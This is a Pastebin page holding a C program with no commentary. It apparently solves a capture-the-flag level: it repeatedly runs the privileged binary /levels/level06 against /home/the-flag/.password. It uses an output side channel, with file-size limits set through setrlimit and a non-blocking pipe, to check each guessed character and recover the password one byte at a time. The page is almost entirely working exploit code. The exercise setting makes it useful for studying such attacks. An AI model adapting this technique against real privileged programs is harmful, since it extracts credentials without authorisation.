Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <unistd.h>
- #include <fcntl.h>
- #include <limits.h>
- #include <string.h>
- #include <sys/resource.h>
- #include <sys/stat.h>
- #include <sys/wait.h>
- int teststr(const char *str)
- {
- int out[2];
- pipe2(out, O_NONBLOCK);
- if (fork()) {
- char in_out;
- int status;
- close(out[1]);
- wait(NULL);
- unlink("./tmp");
- usleep(15000); // This is way longer than it has to be
- // for the purposes of looking awesome.
- status = read(out[0], &in_out, 1);
- close(out[0]);
- return status == 1;
- } else {
- int file;
- char buffer[1025];
- struct rlimit limit;
- dup2(out[1], 1);
- close(out[0]);
- file = creat("./tmp", S_IWUSR | S_IRUSR);
- fcntl(file, F_SETFL, fcntl(file, F_GETFL) & ~O_NONBLOCK);
- dup2(file, 2);
- getrlimit(RLIMIT_FSIZE, &limit);
- limit.rlim_cur = 33 + strlen(str);
- setrlimit(RLIMIT_FSIZE, &limit);
- snprintf(buffer, 1025, "%s~", str);
- execl("/levels/level06", "level06", "/home/the-flag/.password", buffer, NULL);
- }
- }
- int checkfull(const char *str)
- {
- int out[2];
- pipe(out);
- if (fork()) {
- char result[36 + strlen(str)];
- memset(result, 0, sizeof(result));
- close(out[1]);
- wait(NULL);
- read(out[0], &result, sizeof(result));
- close(out[0]);
- return result[sizeof(result) - 2] == 'W';
- } else {
- dup2(out[1], 2);
- close(out[0]);
- close(1);
- execl("/levels/level06", "level06", "/home/the-flag/.password", str, NULL);
- }
- }
- int main(int argc, char *argv[])
- {
- char buffer[1024];
- int i;
- char c;
- memset(buffer, 0, 1024);
- for (i = 0; i < 1024; ++i) {
- for (c = 32; c < 126; ++c) {
- buffer[i] = c;
- printf("\r\033[2KThe password is: %s", buffer);
- fflush(stdout);
- if (!teststr(buffer)) {
- if (checkfull(buffer)) {
- printf("\n");
- return 0;
- }
- break;
- }
- }
- }
- printf("\r\033[2Your password is unknown.\n");
- return 1;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement